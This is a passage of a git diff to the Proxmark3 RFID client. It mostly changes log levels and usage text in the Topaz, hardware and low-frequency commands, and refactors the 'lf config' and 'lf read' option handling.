+ PrintAndLogEx(SUCCESS, " %02x: NDEF Magic Number", data[0]); + PrintAndLogEx(SUCCESS, " %02x: version %d.%d supported by tag", data[1], (data[1] & 0xF0) >> 4, data[1] & 0x0f); uint16_t memsize = (data[2] + 1) * 8; topaz_tag.size = memsize; topaz_tag.dynamic_memory = calloc(memsize - TOPAZ_STATIC_MEMORY, sizeof(uint8_t)); - PrintAndLogEx(NORMAL, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize); - PrintAndLogEx(NORMAL, " %02x: %s / %s", data[3], + PrintAndLogEx(SUCCESS, " %02x: Physical Memory Size of this tag: %d bytes", data[2], memsize); + PrintAndLogEx(SUCCESS, " %02x: %s / %s", data[3], (data[3] & 0xF0) ? "(RFU)" : "Read access granted without any security", (data[3] & 0x0F) == 0 ? "Write access granted without any security" : (data[3] & 0x0F) == 0x0F ? "No write access granted at all" : "(RFU)"); return PM3_SUCCESS; @@ -301,7 +301,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) { uint16_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint16_t bytes_locked_per_bit = 1 << (TLV_value[2] >> 4); uint16_t area_start = pages_addr * bytes_per_page + byte_offset; - PrintAndLogEx(NORMAL, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.", + PrintAndLogEx(SUCCESS, "Lock Area of %d bits at byte offset 0x%04x. Each Lock Bit locks %d bytes.", size_in_bits, area_start, bytes_locked_per_bit); @@ -333,7 +333,7 @@ static void topaz_print_control_TLVs(uint8_t *memory) { uint16_t size_in_bytes = TLV_value[1] ? TLV_value[1] : 256; uint8_t bytes_per_page = 1 << (TLV_value[2] & 0x0f); uint16_t area_start = pages_addr * bytes_per_page + byte_offset; - PrintAndLogEx(NORMAL, "Reserved Memory of %d bytes at byte offset 0x%02x.", + PrintAndLogEx(SUCCESS, "Reserved Memory of %d bytes at byte offset 0x%02x.", size_in_bytes, area_start); reserved_memory_control_TLV_present = true; @@ -345,11 +345,11 @@ static void topaz_print_control_TLVs(uint8_t *memory) { } if (!lock_TLV_present) { - PrintAndLogEx(NORMAL, "(No Lock Control TLV present)"); + PrintAndLogEx(SUCCESS, "(No Lock Control TLV present)"); } if (!reserved_memory_control_TLV_present) { - PrintAndLogEx(NORMAL, "(No Reserved Memory Control TLV present)"); + PrintAndLogEx(SUCCESS, "(No Reserved Memory Control TLV present)"); } } @@ -376,7 +376,7 @@ static int topaz_read_dynamic_data(void) { // read and print the dynamic memory static void topaz_print_dynamic_data(void) { if (topaz_tag.size > TOPAZ_STATIC_MEMORY) { - PrintAndLogEx(NORMAL, "Dynamic Data blocks:"); + PrintAndLogEx(SUCCESS, "Dynamic Data blocks:"); if (topaz_read_dynamic_data() == 0) { PrintAndLogEx(NORMAL, "block# | offset | Data | Locked(y/n)"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); @@ -435,19 +435,19 @@ static int CmdHFTopazReader(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "ATQA : %02x %02x", atqa[1], atqa[0]); + PrintAndLogEx(SUCCESS, "ATQA : %02x %02x", atqa[1], atqa[0]); topaz_tag.HR01[0] = rid_response[0]; topaz_tag.HR01[1] = rid_response[1]; // ToDo: CRC check - PrintAndLogEx(NORMAL, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)", + PrintAndLogEx(SUCCESS, "HR0 : %02x (%sa Topaz tag (%scapable of carrying a NDEF message), %s memory map)", rid_response[0], (rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0xF0) == 0x10 ? "" : "not ", (rid_response[0] & 0x0F) == 0x01 ? "static" : "dynamic"); - PrintAndLogEx(NORMAL, "HR1 : %02x", rid_response[1]); + PrintAndLogEx(SUCCESS, "HR1 : %02x", rid_response[1]); status = topaz_rall(uid_echo, rall_response); @@ -458,7 +458,7 @@ static int CmdHFTopazReader(const char *Cmd) { } memcpy(topaz_tag.uid, rall_response + 2, 7); - PrintAndLogEx(NORMAL, "UID : %02x %02x %02x %02x %02x %02x %02x", + PrintAndLogEx(SUCCESS, "UID : %02x %02x %02x %02x %02x %02x %02x", topaz_tag.uid[6], topaz_tag.uid[5], topaz_tag.uid[4], @@ -467,13 +467,13 @@ static int CmdHFTopazReader(const char *Cmd) { topaz_tag.uid[1], topaz_tag.uid[0]); - PrintAndLogEx(NORMAL, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"), + PrintAndLogEx(SUCCESS, " UID[6] (Manufacturer Byte) = " _YELLOW_("%02x")", Manufacturer: " _YELLOW_("%s"), topaz_tag.uid[6], getTagInfo(topaz_tag.uid[6])); memcpy(topaz_tag.data_blocks, rall_response + 2, 0x0f * 8); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":"); + PrintAndLogEx(SUCCESS, "Static Data blocks " _YELLOW_("0x00") "to " _YELLOW_("0x0C")":"); PrintAndLogEx(NORMAL, "block# | offset | Data | Locked"); PrintAndLogEx(NORMAL, "-------+--------+-------------------------+------------"); char line[80]; @@ -488,7 +488,7 @@ static int CmdHFTopazReader(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Reserved block " _YELLOW_("0x0D")":"); + PrintAndLogEx(SUCCESS, "Static Reserved block " _YELLOW_("0x0D")":"); for (uint16_t j = 0; j < 8; j++) { sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0d][j]); } @@ -496,7 +496,7 @@ static int CmdHFTopazReader(const char *Cmd) { PrintAndLogEx(NORMAL, " 0x%02x | 0x%02x | %s| %-3s", 0x0d, 0x0d * 8, line, "n/a"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Static Lockbits and OTP Bytes:"); + PrintAndLogEx(SUCCESS, "Static Lockbits and OTP Bytes:"); for (uint16_t j = 0; j < 8; j++) { sprintf(&line[3 * j], "%02x ", topaz_tag.data_blocks[0x0e][j]); } @@ -507,7 +507,7 @@ static int CmdHFTopazReader(const char *Cmd) { status = topaz_print_CC(&topaz_tag.data_blocks[1][0]); if (status == PM3_ESOFT) { - PrintAndLogEx(NORMAL, "No NDEF message data present"); + PrintAndLogEx(SUCCESS, "No NDEF message data present"); topaz_switch_off_field(); return PM3_SUCCESS; } @@ -528,13 +528,13 @@ static int CmdHFTopazReader(const char *Cmd) { static int CmdHFTopazSim(const char *Cmd) { (void)Cmd; // Cmd is not used so far - PrintAndLogEx(NORMAL, "not yet implemented"); + PrintAndLogEx(INFO, "not yet implemented"); return PM3_SUCCESS; } static int CmdHFTopazCmdRaw(const char *Cmd) { (void)Cmd; // Cmd is not used so far - PrintAndLogEx(NORMAL, "not yet implemented. Use hf 14 raw with option -T."); + PrintAndLogEx(INFO, "not yet implemented. Use hf 14 raw with option -T."); return PM3_SUCCESS; } diff --git a/client/cmdhw.c b/client/cmdhw.c index 5eb6c7100..b71512432 100644 --- a/client/cmdhw.c +++ b/client/cmdhw.c @@ -86,7 +86,7 @@ static void lookupChipID(uint32_t iChipID, uint32_t mem_used) { char asBuff[120]; memset(asBuff, 0, sizeof(asBuff)); uint32_t mem_avail = 0; - PrintAndLogEx(NORMAL, "\n [ Hardware ] "); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Hardware ]")); switch (iChipID) { case 0x270B0A40: @@ -447,13 +447,13 @@ static int CmdSetDivisor(const char *Cmd) { uint8_t arg = param_get8ex(Cmd, 0, 95, 10); if (arg < 19) { - PrintAndLogEx(ERR, "divisor must be between 19 and 255"); + PrintAndLogEx(ERR, "divisor must be between" _YELLOW_("19") " and " _YELLOW_("255")); return PM3_EINVARG; } // 12 000 000 (12MHz) clearCommandBuffer(); SendCommandNG(CMD_LF_SET_DIVISOR, (uint8_t *)&arg, sizeof(arg)); - PrintAndLogEx(SUCCESS, "Divisor set, expected %.1f kHz", ((double)12000 / (arg + 1))); + PrintAndLogEx(SUCCESS, "Divisor set, expected " _YELLOW_("%.1f")" kHz", ((double)12000 / (arg + 1))); return PM3_SUCCESS; } @@ -514,11 +514,11 @@ static int CmdStatus(const char *Cmd) { static int CmdTia(const char *Cmd) { (void)Cmd; // Cmd is not used so far clearCommandBuffer(); - PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition..."); + PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition (TIA)..."); PacketResponseNG resp; SendCommandNG(CMD_TIA, NULL, 0); if (WaitForResponseTimeout(CMD_TIA, &resp, 2000) == false) - PrintAndLogEx(WARNING, "Tia command failed. You probably need to unplug the Proxmark3."); + PrintAndLogEx(WARNING, "TIA command failed. You probably need to unplug the Proxmark3."); PrintAndLogEx(INFO, "TIA done."); return PM3_SUCCESS; } @@ -528,7 +528,7 @@ static int CmdPing(const char *Cmd) { if (len > PM3_CMD_DATA_SIZE) len = PM3_CMD_DATA_SIZE; if (len) { - PrintAndLogEx(INFO, "Ping sent with payload len=%d", len); + PrintAndLogEx(INFO, "Ping sent with payload len = %d", len); } else { PrintAndLogEx(INFO, "Ping sent"); } @@ -539,9 +539,8 @@ static int CmdPing(const char *Cmd) { data[i] = i & 0xFF; SendCommandNG(CMD_PING, data, len); if (WaitForResponseTimeout(CMD_PING, &resp, 1000)) { - bool error = false; if (len) { - error = memcmp(data, resp.data.asBytes, len) != 0; + bool error = (memcmp(data, resp.data.asBytes, len) != 0); PrintAndLogEx((error) ? ERR : SUCCESS, "Ping response " _GREEN_("received") "and content is %s", error ? _RED_("NOT ok") : _GREEN_("OK")); } else { PrintAndLogEx(SUCCESS, "Ping response " _GREEN_("received")); @@ -702,26 +701,24 @@ void pm3_version(bool verbose, bool oneliner) { SendCommandNG(CMD_VERSION, NULL, 0); if (WaitForResponseTimeout(CMD_VERSION, &resp, 1000)) { - PrintAndLogEx(NORMAL, "\n" _BLUE_(" [ Proxmark3 RFID instrument ]") "\n"); - PrintAndLogEx(NORMAL, "\n [ CLIENT ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Proxmark3 RFID instrument ]")); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ CLIENT ]")); PrintAndLogEx(NORMAL, " client: RRG/Iceman"); // TODO version info? PrintAndLogEx(NORMAL, " compiled with " PM3CLIENTCOMPILER __VERSION__ PM3HOSTOS PM3HOSTARCH); -//#if PLATFORM == PM3RDV4 if (IfPm3Flash() == false && IfPm3Smartcard() == false && IfPm3FpcUsartHost() == false) { - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 ]")); } else { - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 ]")); PrintAndLogEx(NORMAL, " external flash: %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " smartcard reader: %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent")); - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 Extras ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 Extras ]")); PrintAndLogEx(NORMAL, " FPC USART for BT add-on support: %s", IfPm3FpcUsartHost() ? _GREEN_("present") : _YELLOW_("absent")); if (IfPm3FpcUsartDevFromUsb()) { PrintAndLogEx(NORMAL, " FPC USART for developer support: %s", _GREEN_("present")); } } -//#endif PrintAndLogEx(NORMAL, ""); diff --git a/client/cmdlf.c b/client/cmdlf.c index e0238b0d6..617d87c0e 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -68,27 +68,28 @@ static int usage_lf_cmdread(void) { PrintAndLogEx(NORMAL, " c Command bytes (in ones and zeros)"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " ************* " _YELLOW_("All periods in microseconds (us)")); - PrintAndLogEx(NORMAL, " ************* Use " _YELLOW_("'lf config'") "to configure options."); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf cmdread d 80 z 100 o 200 c 11000"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_read(void) { PrintAndLogEx(NORMAL, "Usage: lf read [h] [s] [d numofsamples]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); - PrintAndLogEx(NORMAL, " s silent run, no printout"); PrintAndLogEx(NORMAL, " d #samples # samples to collect (optional)"); - PrintAndLogEx(NORMAL, "Use 'lf config' to set parameters."); + PrintAndLogEx(NORMAL, " s silent"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000samples silent"); - PrintAndLogEx(NORMAL, " lf read s"); + PrintAndLogEx(NORMAL, " lf read s d 12000 - collects 12000 samples silent"); + PrintAndLogEx(NORMAL, " lf read"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_sim(void) { PrintAndLogEx(NORMAL, "Simulate low frequence tag from graphbuffer."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters."); PrintAndLogEx(NORMAL, "Usage: lf sim [h] "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); @@ -96,16 +97,19 @@ static int usage_lf_sim(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf sim 240 - start simulating with 240ms gap"); PrintAndLogEx(NORMAL, " lf sim"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); return PM3_SUCCESS; } static int usage_lf_sniff(void) { PrintAndLogEx(NORMAL, "Sniff low frequence signal."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'lf config'")" to set parameters."); - PrintAndLogEx(NORMAL, "Use " _YELLOW_("'data samples'")" command to download from device, and " _YELLOW_("'data plot'")" to look at it"); - PrintAndLogEx(NORMAL, "Usage: lf sniff [h]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, "Extras:"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'lf config'")"to set parameters."); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'data samples'")"command to download from device"); + PrintAndLogEx(NORMAL, " use " _YELLOW_("'data plot'")"to look at it"); return PM3_SUCCESS; } static int usage_lf_config(void) { @@ -117,22 +121,17 @@ static int usage_lf_config(void) { PrintAndLogEx(NORMAL, " q Manually set freq divisor. %d -> 134 kHz, %d -> 125 kHz", LF_DIVISOR_134, LF_DIVISOR_125); PrintAndLogEx(NORMAL, " f Manually set frequency in kHz"); PrintAndLogEx(NORMAL, " b Sets resolution of bits per sample. Default (max): 8"); - PrintAndLogEx(NORMAL, " d Sets decimation. A value of N saves only 1 in N samples. Default: 1"); + PrintAndLogEx(NORMAL, " d Sets decimation. A value of N saves only 1 in N samples. Default: 1"); PrintAndLogEx(NORMAL, " a [0|1] Averaging - if set, will average the stored sample value when decimating. Default: 1"); PrintAndLogEx(NORMAL, " t Sets trigger threshold. 0 means no threshold (range: 0-128)"); PrintAndLogEx(NORMAL, " s Sets a number of samples to skip before capture. Default: 0"); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " lf config"); - PrintAndLogEx(NORMAL, " Shows current config"); - PrintAndLogEx(NORMAL, " lf config b 8 L"); - PrintAndLogEx(NORMAL, " Samples at 125 kHz, 8bps."); - PrintAndLogEx(NORMAL, " lf config H b 4 d 3"); - PrintAndLogEx(NORMAL, " Samples at 134 kHz, averages three samples into one, stored with "); - PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample."); - PrintAndLogEx(NORMAL, " lf read"); - PrintAndLogEx(NORMAL, " Performs a read (active field)"); - PrintAndLogEx(NORMAL, " lf sniff"); - PrintAndLogEx(NORMAL, " Performs a sniff (no active field)"); + PrintAndLogEx(NORMAL, " lf config - shows current config"); + PrintAndLogEx(NORMAL, " lf config b 8 L - samples at 125 kHz, 8bps."); + PrintAndLogEx(NORMAL, " lf config H b 4 d 3 - samples at 134 kHz, averages three samples into one, stored with "); + PrintAndLogEx(NORMAL, " a resolution of 4 bits per sample."); + PrintAndLogEx(NORMAL, " lf read - performs a read (active field)"); + PrintAndLogEx(NORMAL, " lf sniff - performs a sniff (no active field)"); return PM3_SUCCESS; } static int usage_lf_simfsk(void) { @@ -340,7 +339,7 @@ int CmdLFCommandRead(const char *Cmd) { // bitbang mode if (payload.delay == 0) { if (payload.zeros < 7 || payload.ones < 7) { - PrintAndLogEx(WARNING, "Warning periods cannot be less than 7us in bit bang mode"); + PrintAndLogEx(WARNING, "warning periods cannot be less than 7us in bit bang mode"); return PM3_EINVARG; } } @@ -348,15 +347,14 @@ int CmdLFCommandRead(const char *Cmd) { //Validations if (errors || cmdp == 0) return usage_lf_cmdread(); - PrintAndLogEx(SUCCESS, "Sending"); + PrintAndLogEx(SUCCESS, "sending"); clearCommandBuffer(); SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen); - printf("\n"); - PacketResponseNG resp; uint8_t i = 10; + // 20sec wait loop while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) { printf("."); fflush(stdout); @@ -366,7 +364,7 @@ int CmdLFCommandRead(const char *Cmd) { if (resp.status == PM3_SUCCESS) { if (i) { - PrintAndLogEx(SUCCESS, "Downloading response signal data"); + PrintAndLogEx(SUCCESS, "downloading response signal data"); getSamples(0, true); return PM3_SUCCESS; } else { @@ -374,7 +372,7 @@ int CmdLFCommandRead(const char *Cmd) { return PM3_ETIMEOUT; } } - PrintAndLogEx(WARNING, "Command failed."); + PrintAndLogEx(WARNING, "command failed."); return PM3_ESOFT; } @@ -457,7 +455,11 @@ int lf_config(sample_config *config) { if (!session.pm3_present) return PM3_ENOTTY; clearCommandBuffer(); - SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); + if (config != NULL) + SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); + else + SendCommandNG(CMD_LF_SAMPLING_GET_CONFIG, NULL, 0); + return PM3_SUCCESS; } @@ -465,15 +467,22 @@ int CmdLFConfig(const char *Cmd) { if (!session.pm3_present) return PM3_ENOTTY; - uint8_t divisor = 0;//Frequency divisor - uint8_t bps = 0; // Bits per sample - uint8_t decimation = 0; //How many to keep - bool averaging = 1; // Defaults to true - bool errors = false; - int trigger_threshold = -1;//Means no change - uint8_t unsigned_trigg = 0; - uint32_t samples_to_skip = 0; // will return offset to 0 if not supplied. Could set to 0xffffffff if needed to not update + // if called with no params, just print the device config + if (strlen(Cmd) == 0) { + return lf_config(NULL); + } + sample_config config = { + .decimation = -1, + .bits_per_sample = -1, + .averaging = -1, + .divisor = -1, + .trigger_threshold = -1, + .samples_to_skip = -1, + .verbose = true + }; + + bool errors = false; uint8_t cmdp = 0; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { @@ -481,16 +490,16 @@ int CmdLFConfig(const char *Cmd) { case 'h': return usage_lf_config(); case 'H': - divisor = LF_DIVISOR_134; + config.divisor = LF_DIVISOR_134; cmdp++; break; case 'L': - divisor = LF_DIVISOR_125; + config.divisor = LF_DIVISOR_125; cmdp++; break; case 'q': - errors |= param_getdec(Cmd, cmdp + 1, &divisor); - if (divisor < 19) { + config.divisor = param_get8ex(Cmd, cmdp + 1, 95, 10); + if (config.divisor < 19) { PrintAndLogEx(ERR, "divisor must be between 19 and 255"); return PM3_EINVARG; } @@ -498,36 +507,50 @@ int CmdLFConfig(const char *Cmd) { break; case 'f': { int freq = param_get32ex(Cmd, cmdp + 1, 125, 10); - divisor = LF_FREQ2DIV(freq); - if (divisor < 19) { + config.divisor = LF_FREQ2DIV(freq); + if (config.divisor < 19) { PrintAndLogEx(ERR, "freq must be between 47 and 600"); return PM3_EINVARG; } cmdp += 2; break; } - case 't': - errors |= param_getdec(Cmd, cmdp + 1, &unsigned_trigg); + case 't': { + uint8_t trigg = 0; + errors |= param_getdec(Cmd, cmdp + 1, &trigg); cmdp += 2; if (!errors) { - trigger_threshold = unsigned_trigg; - g_lf_threshold_set = (trigger_threshold > 0); + config.trigger_threshold = trigg; + g_lf_threshold_set = (config.trigger_threshold > 0); } break; - case 'b': - errors |= param_getdec(Cmd, cmdp + 1, &bps); + } + case 'b': { + config.bits_per_sample = param_get8ex(Cmd, cmdp + 1, 8, 10); + + // bps is limited to 8 + if (config.bits_per_sample >> 4) + config.bits_per_sample = 8; + cmdp += 2; break; - case 'd': - errors |= param_getdec(Cmd, cmdp + 1, &decimation); + } + case 'd': { + config.decimation = param_get8ex(Cmd, cmdp + 1, 1, 10); + + // decimation is limited to 255 + if (config.decimation >> 4) + config.decimation = 8; + cmdp += 2; break; + } case 'a': - averaging = param_getchar(Cmd, cmdp + 1) == '1'; + config.averaging = (param_getchar(Cmd, cmdp + 1) == '1'); cmdp += 2; break; case 's': - samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10); + config.samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10); cmdp += 2; break; default: @@ -540,28 +563,19 @@ int CmdLFConfig(const char *Cmd) { // validations if (errors) return usage_lf_config(); - // print current settings. - if (cmdp == 0) - return lf_config(NULL); - - // bps is limited to 8 - if (bps >> 4) bps = 8; - - sample_config config = { decimation, bps, averaging, divisor, trigger_threshold, samples_to_skip, true }; - return lf_config(&config); } -int lf_read(bool silent, uint32_t samples) { +int lf_read(bool verbose, uint32_t samples) { if (!session.pm3_present) return PM3_ENOTTY; struct p { - uint8_t silent; + uint8_t verbose; uint32_t samples; } PACKED; struct p payload; - payload.silent = silent; + payload.verbose = verbose; payload.samples = samples; clearCommandBuffer(); @@ -579,7 +593,7 @@ int lf_read(bool silent, uint32_t samples) { // resp.oldarg[0] is bits read not bytes read. uint32_t bits = (resp.data.asDwords[0] / 8); - getSamples(bits, silent); + getSamples(bits, verbose); return PM3_SUCCESS; } @@ -589,21 +603,21 @@ int CmdLFRead(const char *Cmd) { if (!session.pm3_present) return PM3_ENOTTY; bool errors = false; - bool silent = false; + bool verbose = true; uint32_t samples = 0; uint8_t cmdp = 0; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_read(); - case 's': - silent = true; - cmdp++; - break; case 'd': samples = param_get32ex(Cmd, cmdp + 1, 0, 10); cmdp += 2; break; + case 's': + verbose = false; + cmdp++; + break; default: PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); errors = true; @@ -614,7 +628,7 @@ int CmdLFRead(const char *Cmd) { //Validations if (errors) return usage_lf_read(); - return lf_read(silent, samples); + return lf_read(verbose, samples); } int CmdLFSniff(const char *Cmd) { @@ -627,7 +641,7 @@ int CmdLFSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_SNIFF_RAW_ADC, NULL, 0); WaitForResponse(CMD_ACK, NULL); - getSamples(0, false); + getSamples(0, true); return PM3_SUCCESS; } @@ -798,7 +812,7 @@ int CmdLFfskSim(const char *Cmd) { size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t); } @@ -900,7 +914,7 @@ int CmdLFaskSim(const char *Cmd) { size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t); } @@ -993,13 +1007,13 @@ int CmdLFpskSim(const char *Cmd) { if (errors) return usage_lf_simpsk(); if (dataLen == 0) { //using DemodBuffer - PrintAndLogEx(NORMAL, "Getting Clocks"); + PrintAndLogEx(INFO, "Getting Clocks"); if (clk == 0) clk = GetPskClock("", false); - PrintAndLogEx(NORMAL, "clk: %d", clk); + PrintAndLogEx(INFO, "clk: %d", clk); if (!carrier) carrier = GetPskCarrier("", false); - PrintAndLogEx(NORMAL, "carrier: %d", carrier); + PrintAndLogEx(INFO, "carrier: %d", carrier); } else { setDemodBuff(data, dataLen, 0); @@ -1015,12 +1029,12 @@ int CmdLFpskSim(const char *Cmd) { //need to convert psk2 to psk1 data before sim psk2TOpsk1(DemodBuffer, DemodBufferLen); } else { - PrintAndLogEx(NORMAL, "Sorry, PSK3 not yet available"); + PrintAndLogEx(WARNING, "Sorry, PSK3 not yet available"); } } size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t); } @@ -1054,10 +1068,9 @@ int CmdLFSimBidir(const char *Cmd) { return PM3_SUCCESS; } -// ICEMAN, todo, swap from Graphbuffer. -// according to Westhus this demod uses decimated samples / 2. -// need to do complete rewrite. Need access to reader / chip -// should be extracted to seperate files aswell +// ICEMAN, Verichip is Animal tag. Tested against correct reader +/* + int CmdVchDemod(const char *Cmd) { if (GraphTraceLen < 4096) { @@ -1081,6 +1094,8 @@ int CmdVchDemod(const char *Cmd) { 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, }; + // iceman, using correlate as preamble detect seems way better than our current memcompare + // So first, we correlate for the sync pattern, and mark that. int bestCorrel = 0, bestPos = 0; int i, j, sum = 0; @@ -1135,6 +1150,7 @@ int CmdVchDemod(const char *Cmd) { } return PM3_SUCCESS; } +*/ static bool CheckChipType(bool getDeviceData) { @@ -1168,6 +1184,7 @@ out: } int CmdLFfind(const char *Cmd) { + int retval = PM3_SUCCESS; int ans = 0; size_t minLength = 2000; char cmdp = tolower(param_getchar(Cmd, 0)); @@ -1180,7 +1197,7 @@ int CmdLFfind(const char *Cmd) { bool isOnline = (session.pm3_present && (cmdp != '1')); if (isOnline) - lf_read(true, 30000); + lf_read(false, 30000); if (GraphTraceLen < minLength) { PrintAndLogEx(FAILED, "Data in Graphbuffer was too small."); @@ -1196,19 +1213,20 @@ int CmdLFfind(const char *Cmd) { // only run these tests if device is online if (isOnline) { + + if (IfPm3Hitag()) { + if (readHitagUid()) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!"); + return PM3_SUCCESS; + } + } + // only run if graphbuffer is just noise as it should be for hitag // The improved noise detection will find Cotag. if (getSignalProperties()->isnoise) { - if (IfPm3Hitag()) { - if (readHitagUid()) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!"); - return PM3_SUCCESS; - } - } - if (readMotorolaUid()) { - PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola ID") "found!"); + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); return PM3_SUCCESS; } @@ -1250,7 +1268,6 @@ int CmdLFfind(const char *Cmd) { if (demodGallagher() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("GALLAGHER ID") "found!"); goto out;} // if (demodTI() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Texas Instrument ID") "found!"); goto out;} //if (demodFermax() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Fermax ID") "found!"); goto out;} - //if (demodFlex() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); goto out;} PrintAndLogEx(FAILED, _RED_("No known 125/134 kHz tags found!")); @@ -1291,12 +1308,15 @@ int CmdLFfind(const char *Cmd) { PrintAndLogEx(FAILED, _RED_("\nNo data found!")); } + + retval = PM3_ESOFT; + out: // identify chipset if (CheckChipType(isOnline) == false) { PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed")); } - return PM3_SUCCESS; + return retval; } static command_t CommandTable[] = { @@ -1329,18 +1349,19 @@ static command_t CommandTable[] = { {"visa2000", CmdLFVisa2k, AlwaysAvailable, "{ Visa2000 RFIDs... }"}, {"", CmdHelp, AlwaysAvailable, ""}, {"config", CmdLFConfig, IfPm3Lf, "Get/Set config for LF sampling, bit/sample, decimation, frequency"}, - {"cmdread", CmdLFCommandRead, IfPm3Lf, " <'0' period> <'1' period> 